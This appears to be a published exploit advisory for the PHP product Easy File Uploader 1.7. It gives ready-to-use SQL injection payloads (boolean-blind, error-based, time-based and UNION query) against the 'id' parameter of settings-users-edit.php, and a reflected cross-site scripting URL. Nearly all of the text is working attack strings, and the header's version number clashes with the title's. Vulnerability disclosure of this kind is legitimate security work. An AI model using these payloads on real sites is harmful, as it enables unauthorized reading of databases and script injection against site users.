Easy File Uploader 1.7 SQL Injection / Cross Site Scripting

`# Exploit Title: Easy File Uploader 1.7 - SQL Injection / Cross-Site  
Scripting  
# Dork: N/A  
# Date: 22.05.2018  
# Exploit Author: Azkan Mustafa AkkuA (AkkuS)  
# Vendor Homepage: https://codecanyon.net/item/easy-file-uploader-php-multiple-uploader-with-file-manager/17222287  
# Version: 1.4 / fourth update  
# Category: Webapps  
# Tested on: Kali linux  
# Description : Non-authorized users can perform the attack in the editing  
area.  
====================================================  
  
# PoC : SQLi :  
  
Parameter : id  
  
Type : boolean-based blind  
Demo :  
http://test.com/EasyFileUploader/settings-users-edit.php?id=1  
Payload : id=1' RLIKE (SELECT (CASE WHEN (7769=7769) THEN 27 ELSE 0x28  
END))-- wKWi  
  
Type : error-based  
Payload : id=1' AND (SELECT 6379 FROM(SELECT  
COUNT(*),CONCAT(0x717a627671,(SELECT  
(ELT(6379=6379,1))),0x7178707071,FLOOR(RAND(0)*2))x FROM  
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- ATeG  
  
Type : AND/OR time-based blind  
Demo :  
http://test.com/EasyFileUploader/settings-users-edit.php?id=1  
Payload : id=1' AND SLEEP(5)-- gTLZ  
  
Type : UNION query  
Demo :  
http://test.com/EasyFileUploader/settings-users-edit.php?id=1  
Payload : id=-3300' UNION ALL SELECT  
NULL,NULL,CONCAT(0x717a627671,0x79556745594846426c69514d71737744775a6450464a5963786658766171476f447a79684675714a,0x7178707071),NULL,NULL,NULL,NULL,NULL,NULL#  
  
  
====================================================  
  
# PoC : XSS :  
  
Payload :  
http://test.com/EasyFileUploader/settings-users-edit.php?id=%27%20%3C/script%3E%3Cscript%3Ealert%28%27akkus+keyney%27%29%3C/script%3E%E2%80%98  
;  
  
  
`